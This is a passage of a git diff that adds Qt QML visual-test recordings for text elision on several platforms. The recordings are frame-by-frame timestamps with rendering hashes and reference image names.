Frame { + msec: 2560 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2576 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2592 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2608 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2624 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2640 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2656 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2672 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2688 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2704 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2720 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2736 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2752 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2768 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2784 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2800 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2816 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2832 + hash: "f44b88b80219497370b5d2ad380d03bf" + } + Frame { + msec: 2848 + hash: "f44b88b80219497370b5d2ad380d03bf" + } + Frame { + msec: 2864 + hash: "a093510751799f3466156f9775988044" + } + Frame { + msec: 2880 + image: "elide2.2.png" + } + Frame { + msec: 2896 + hash: "a093510751799f3466156f9775988044" + } + Frame { + msec: 2912 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2928 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2944 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2960 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2976 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2992 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3008 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3024 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3040 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3056 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3072 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3088 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3104 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3120 + hash: "df90afe882b18f3fd7b12e52ff36e66f" + } + Frame { + msec: 3136 + hash: "df90afe882b18f3fd7b12e52ff36e66f" + } + Frame { + msec: 3152 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3168 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3184 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3200 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3216 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3232 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3248 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3264 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3280 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3296 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3312 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3328 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3344 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3360 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3376 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3392 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3408 + hash: "e1ce9c06e59fb6348fff3ce650c7943e" + } + Frame { + msec: 3424 + hash: "e1ce9c06e59fb6348fff3ce650c7943e" + } + Frame { + msec: 3440 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3456 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3472 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3488 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3504 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3520 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3536 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3552 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3568 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3584 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3600 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3616 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3632 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3648 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3664 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3680 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3696 + hash: "6bfd7cfd6369df1eb570fda103d9e009" + } + Frame { + msec: 3712 + hash: "6bfd7cfd6369df1eb570fda103d9e009" + } + Frame { + msec: 3728 + hash: "b6dba4a456cd8d1b62501039cb796625" + } + Frame { + msec: 3744 + hash: "b6dba4a456cd8d1b62501039cb796625" + } + Frame { + msec: 3760 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3776 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3792 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3808 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3824 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3840 + image: "elide2.3.png" + } + Frame { + msec: 3856 + hash: "d2e873e69aed3e0b6e53123cd63e386c" + } + Frame { + msec: 3872 + hash: "d2e873e69aed3e0b6e53123cd63e386c" + } + Frame { + msec: 3888 + hash: "baa8edfce77628c7a1ec83adce96e2c6" + } + Frame { + msec: 3904 + hash: "baa8edfce77628c7a1ec83adce96e2c6" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png new file mode 100644 index 0000000..80549b4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml new file mode 100644 index 0000000..c2fd0d8 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml @@ -0,0 +1,303 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "17f39c541a0b5bf958c3fdaa51b72fec" + } + Frame { + msec: 32 + hash: "da61bb1afef532688045116bcce1da40" + } + Frame { + msec: 48 + hash: "04ddcb158ce8ade4ea9ad16405c7d81a" + } + Frame { + msec: 64 + hash: "7ca43ec7a6e630c9bc07478abf5c2686" + } + Frame { + msec: 80 + hash: "ae2c4e73395cf4a5663110ba1b9996b2" + } + Frame { + msec: 96 + hash: "5059426cced6ff6f92102100416b34d8" + } + Frame { + msec: 112 + hash: "e816cb366ba9498d0ae194b789c25f12" + } + Frame { + msec: 128 + hash: "fd8cd9b2916b7045086df92d19e8b436" + } + Frame { + msec: 144 + hash: "965dfe4cad0a3d07c0b086d6351a43a1" + } + Frame { + msec: 160 + hash: "56759a670c864d5f2ae392fa8545f3a4" + } + Frame { + msec: 176 + hash: "8d3c2be4fcef526650cc84b5c2d29170" + } + Frame { + msec: 192 + hash: "6d9f995bef186a69b259b8d18470f0e7" + } + Frame { + msec: 208 + hash: "670c68a0943c5f037f8bf4c9ca0df501" + } + Frame { + msec: 224 + hash: "6218cf02cb762aa6c33985fe1b2e47bb" + } + Frame { + msec: 240 + hash: "6e3424f2b72d6582ceb5a6c1bfe3dba4" + } + Frame { + msec: 256 + hash: "fb819344ab1d2966b043be790831e680" + } + Frame { + msec: 272 + hash: "a729845b780cc708ddd578eab3bc0ab1" + } + Frame { + msec: 288 + hash: "543f6566c4dfaecb70007848cc4f8525" + } + Frame { + msec: 304 + hash: "5497699414bd8a428ead9703dc7273d5" + } + Frame { + msec: 320 + hash: "e9230e525bb0ce33fe4bf3a2c948357d" + } + Frame { + msec: 336 + hash: "ef6a6989f013d444547c0b98a65a34bf" + } + Frame { + msec: 352 + hash: "ee89f5163fe269884d59acac7fc23336" + } + Frame { + msec: 368 + hash: "0ffb11ceccdc607c1a072dde4aa40f93" + } + Frame { + msec: 384 + hash: "97a51d7916e04815724506e289040e2a" + } + Frame { + msec: 400 + hash: "a63d6d73827e1b40a7fec76e6555d7ab" + } + Frame { + msec: 416 + hash: "d3eaf72442852317a48dc2b638ad48be" + } + Frame { + msec: 432 + hash: "fa867a486d51089ddfeb60b9d44b329e" + } + Frame { + msec: 448 + hash: "834ee944cfc63209bcba94153ccd2c4e" + } + Frame { + msec: 464 + hash: "6d637d4763ae457233ab669f9f124bc1" + } + Frame { + msec: 480 + hash: "66c60bd9de1870f46b726c404ab924d5" + } + Frame { + msec: 496 + hash: "088499b53390e3a2c3ca7f42cac101a4" + } + Frame { + msec: 512 + hash: "19d41f7696c86120460c4db7a0f9be1a" + } + Frame { + msec: 528 + hash: "cd3ae14964e174db94e3e6c8609f366a" + } + Frame { + msec: 544 + hash: "0c2172e091c2fb42d7c016779fa543d7" + } + Frame { + msec: 560 + hash: "7534175e24b2cbab08518de8fc691003" + } + Frame { + msec: 576 + hash: "a9ef64d20b4f93e60f25753e2d7dd2e0" + } + Frame { + msec: 592 + hash: "d8e62a9fec27bfc892b0f3034bc73c3f" + } + Frame { + msec: 608 + hash: "f8eee41f72e17693074a2ac250bb850e" + } + Frame { + msec: 624 + hash: "3a08b62a8aa1f410415afbd7b8ee8728" + } + Frame { + msec: 640 + hash: "0c4fba2bc8b7e440736f4a23d048c23c" + } + Frame { + msec: 656 + hash: "521264dbeec0fbe3a467739f0c3f7b85" + } + Frame { + msec: 672 + hash: "2c455560a624acfb7f316eae8926d765" + } + Frame { + msec: 688 + hash: "c9fa632a0998cfae39d434b623b3060d" + } + Frame { + msec: 704 + hash: "506ea16572fa0ee72cddcedfe5b4b9ea" + } + Frame { + msec: 720 + hash: "83ae06a3ad24d2a6d49c71df2a287716" + } + Frame { + msec: 736 + hash: "d4b11b45b4f97de0c0b878b97b804f09" + } + Frame { + msec: 752 + hash: "868aac6c273b7cc90c31c14298ab9a3b" + } + Frame { + msec: 768 + hash: "03d4222586194bb6513305d1837d3467" + } + Frame { + msec: 784 + hash: "21e6cd89f06077bd5d346c7ccb8fa1e9" + } + Frame { + msec: 800 + hash: "326092c4c29217f5afb5730ab3984353" + } + Frame { + msec: 816 + hash: "4963d64093e65fe1973ffab5b7a15abc" + } + Frame { + msec: 832 + hash: "3125e6e553bbf3f2fcf8fbf797a0c1f8" + } + Frame { + msec: 848 + hash: "879b24c994d4a9854d08bda2bbf2ceda" + } + Frame { + msec: 864 + hash: "03c4320dc2aa030c341d54899869b561" + } + Frame { + msec: 880 + hash: "ae0e91975aecc6a416b4a23504fced32" + } + Frame { + msec: 896 + hash: "e4150bdf0d4bab9bddc4605a9bde5b69" + } + Frame { + msec: 912 + hash: "dc961cb82a0e58603b3914f16f0a3f52" + } + Frame { + msec: 928 + hash: "5339507c303e42ecab853ca1688881f3" + } + Frame { + msec: 944 + hash: "a7c616c57f98eb03c1501747ea1a8b45" + } + Frame { + msec: 960 + image: "multilength.0.png" + } + Frame { + msec: 976 + hash: "773ad6bc56f80bd5f6ce346ae0bc79c9" + } + Frame { + msec: 992 + hash: "18b9ebfb9e5beac337143cc625fdfad7" + } + Frame { + msec: 1008 + hash: "efb9f12a98ea137e2b50d344c21c4a89" + } + Frame { + msec: 1024 + hash: "5b880958b3d20c09a10189cfc5f7b671" + } + Frame { + msec: 1040 + hash: "edf2d8c174ac6e2e3a887336dc04df8c" + } + Frame { + msec: 1056 + hash: "ad04b9e0e88695a13032abae8fef6f32" + } + Frame { + msec: 1072 + hash: "e4ad91c9da3e954cac33ce98832fee1c" + } + Frame { + msec: 1088 + hash: "a853212cf0ddc17cb0eb9be7f2ac5475" + } + Frame { + msec: 1104 + hash: "a03f7ac2553fe114c4591ed98dab3ceb" + } + Frame { + msec: 1120 + hash: "5de7491803582e0d13d2ff3e2eb3df82" + } + Frame { + msec: 1136 + hash: "0685263ac468ce39b468d37a20f7e5f8" + } + Frame { + msec: 1152 + hash: "14d4ab3f40dc6a0835c56c0f84256182" + } + Frame { + msec: 1168 + hash: "6a8c61c31c3d00592863ad356c45b354" + } + Frame { + msec: 1184 + hash: "08b3e3388469b1a62d3fc7f7a94f85a2" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png new file mode 100644 index 0000000..5631a46 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml new file mode 100644 index 0000000..cfd832e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml @@ -0,0 +1,279 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 32 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 48 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 64 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 80 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 96 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 112 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 128 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 144 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 160 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 176 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 192 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 208 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 224 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 240 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 256 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 272 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 288 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 304 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 320 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 336 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 352 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 368 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 384 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 400 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 416 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 432 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 448 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 464 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 480 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 496 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 512 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 528 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 544 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 560 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 576 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 592 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 608 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 624 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 640 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 656 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 672 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 688 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 704 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 720 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 736 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 752 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 768 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 784 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 800 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 816 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 832 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 848 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 864 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 880 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 896 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 912 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 928 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 944 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 960 + image: "elide.0.png" + } + Frame { + msec: 976 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 992 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 1008 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 1024 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 1040 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } + Frame { + msec: 1056 + hash: "48e2da07fd229d9db6afc0eda494cd11" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png new file mode 100644 index 0000000..6e2b625 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml new file mode 100644 index 0000000..0c06196 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/multilength.qml @@ -0,0 +1,303 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "873e914454b7a040b05649ebd1a2f8c5" + } + Frame { + msec: 32 + hash: "7682a4f1e361ca252da9713734a598e8" + } + Frame { + msec: 48 + hash: "fa8884b550c8df872f96b61557163bcf" + } + Frame { + msec: 64 + hash: "b84ecf9e38f126c3e32defee831d9462" + } + Frame { + msec: 80 + hash: "21cc08f22d1f1fcb38b27a3a4259debe" + } + Frame { + msec: 96 + hash: "93bdfeab813e25e85917f49c0d5f1314" + } + Frame { + msec: 112 + hash: "5f03c252602e60fe19879945fa77c203" + } + Frame { + msec: 128 + hash: "f0b2079f6c512bf80989ebfdbec4cfd8" + } + Frame { + msec: 144 + hash: "9e7bb12d5b7605fc1d78ed9b2a549527" + } + Frame { + msec: 160 + hash: "242bbbe6da87708c92fd47607ecb789d" + } + Frame { + msec: 176 + hash: "f1db5c3a230b4d3e2e1dfefe6bf032a1" + } + Frame { + msec: 192 + hash: "a416e820efd8e173cc52372218513e33" + } + Frame { + msec: 208 + hash: "df711ab70c6087f8138fded16167f069" + } + Frame { + msec: 224 + hash: "fb28eb2eeccfab28299640ef996c1115" + } + Frame { + msec: 240 + hash: "c72c6d79a50dd7147f6b33784880eb36" + } + Frame { + msec: 256 + hash: "4421027e65e95f98499ca53c57220ede" + } + Frame { + msec: 272 + hash: "b7fbfb90d8cc167809e8e846d9021b4b" + } + Frame { + msec: 288 + hash: "004614b1bf18e9aa78e78509c4f289aa" + } + Frame { + msec: 304 + hash: "1792bbd8b69bae1d92fed2a6bcfe0187" + } + Frame { + msec: 320 + hash: "957a8b95d6e85885d854b8eb1db10b04" + } + Frame { + msec: 336 + hash: "d00c3e4d6d8e8d04b949840c28d73a33" + } + Frame { + msec: 352 + hash: "2b79feaa62d773d92d8a684685b2004c" + } + Frame { + msec: 368 + hash: "ef2f11b187028de0c56b23db3168fbc8" + } + Frame { + msec: 384 + hash: "3a489a96aaeca80355313198b935691d" + } + Frame { + msec: 400 + hash: "389f1798f900795a8686c38ace755974" + } + Frame { + msec: 416 + hash: "34fc20be52fe3843420819b9adb90b22" + } + Frame { + msec: 432 + hash: "fa715c5b6640eafe204bf3b8095c74b9" + } + Frame { + msec: 448 + hash: "8e8315edcf23167ac58228b8c28b43e6" + } + Frame { + msec: 464 + hash: "c18e82038f57dd869112cb1be14e4cfe" + } + Frame { + msec: 480 + hash: "3f07e95b09e39f2e5d93216850f4a4d9" + } + Frame { + msec: 496 + hash: "20f0e6eaeac04d6f93565adfab485218" + } + Frame { + msec: 512 + hash: "e3f66d1dfe88dd868a54a8493828ef5f" + } + Frame { + msec: 528 + hash: "d39d34f63e1b29c187249cb388552b38" + } + Frame { + msec: 544 + hash: "5d2e8df5003732f3b53fff4aaddea06c" + } + Frame { + msec: 560 + hash: "35c3aa2dae481a8f817d849b3f3151f2" + } + Frame { + msec: 576 + hash: "966b78018879224948b4d85fe73d7985" + } + Frame { + msec: 592 + hash: "0db067bf9debc3f36dd539cf83652fb8" + } + Frame { + msec: 608 + hash: "ea1c3249ffd2439533907ceaeaafbc56" + } + Frame { + msec: 624 + hash: "da85c0e14b95ca9a729984b67ebd52ad" + } + Frame { + msec: 640 + hash: "5c26ae844ac52dbe131fed0638787aac" + } + Frame { + msec: 656 + hash: "4b09c23ad624db80afcb2a6c1d5ddb96" + } + Frame { + msec: 672 + hash: "9995deb3d22b418a19093b4b988b3fcc" + } + Frame { + msec: 688 + hash: "77e53358f2d4392d0ba988187e7e272c" + } + Frame { + msec: 704 + hash: "3fbbb73e790cf4a0583531fe1580f761" + } + Frame { + msec: 720 + hash: "9d562e141095a258ee61463e644d9889" + } + Frame { + msec: 736 + hash: "d05633ca49f96bf327bed5c9c0f6ac98" + } + Frame { + msec: 752 + hash: "34c38e40e831dbede8fa83de31ed76aa" + } + Frame { + msec: 768 + hash: "288e52c8be54f4914f687cef4ce1f24a" + } + Frame { + msec: 784 + hash: "0b8b744aaf67e8b17fa459bb0ffb6db5" + } + Frame { + msec: 800 + hash: "273dbe3e8c21bfeafa516d07778928c8" + } + Frame { + msec: 816 + hash: "ef94ee1885287c72fa78038547d98b96" + } + Frame { + msec: 832 + hash: "965e6387672319ac04fdc42768e581f1" + } + Frame { + msec: 848 + hash: "95553d8aaece94c7017e57b03cd46c9a" + } + Frame { + msec: 864 + hash: "bdaf35b920e5b08b8639d452afd2d51e" + } + Frame { + msec: 880 + hash: "0ed16f00e89327dc8679bec42179c4ce" + } + Frame { + msec: 896 + hash: "8c93e0ac399e09e98e34b90654e0e42a" + } + Frame { + msec: 912 + hash: "93798fbb33adb6c813018757cfa34017" + } + Frame { + msec: 928 + hash: "db4d7581e9a1f082a2c29ef7482a7893" + } + Frame { + msec: 944 + hash: "67e074c1e083334de84a3549f4ee9ca4" + } + Frame { + msec: 960 + image: "multilength.0.png" + } + Frame { + msec: 976 + hash: "b1122c815a755c9988bcf03a3f7d7d6d" + } + Frame { + msec: 992 + hash: "31148bae6653bdc3f1827d06de845663" + } + Frame { + msec: 1008 + hash: "812428a944086ca46e102891964dac69" + } + Frame { + msec: 1024 + hash: "ee7bb66bd7e8623325200ac994f8b41a" + } + Frame { + msec: 1040 + hash: "6bd21a98e5c373a2c78334a0255e7750" + } + Frame { + msec: 1056 + hash: "2e8e1eea14068b0e82464ed52ec1ab7a" + } + Frame { + msec: 1072 + hash: "6dca5756e20eeb778e31d7b602ce77d7" + } + Frame { + msec: 1088 + hash: "3cbb6700b9e30864a2b1e3d4d71d2a78" + } + Frame { + msec: 1104 + hash: "c4d0230d2c4f73191a514e5df4c0b083" + } + Frame { + msec: 1120 + hash: "a33df967fe43151dfc503d2ac78f8ca8" + } + Frame { + msec: 1136 + hash: "0c7ff101efe60b600cacaf8d04d79053" + } + Frame { + msec: 1152 + hash: "d246cfb75d89b9666877860aaf45ba60" + } + Frame { + msec: 1168 + hash: "1130998aa2618a29ec6bc4b9219eedfa" + } + Frame { + msec: 1184 + hash: "741dd83003633bbf8d28c2d4ddd8a2d0" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.0.png new file mode 100644 index 0000000..1a8c89b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.qml new file mode 100644 index 0000000..59f17f7 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide.qml @@ -0,0 +1,279 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 32 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 48 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 64 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 80 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 96 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 112 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 128 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 144 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 160 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 176 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 192 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 208 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 224 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 240 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 256 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 272 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 288 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 304 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 320 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 336 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 352 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 368 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 384 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 400 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 416 + hash: 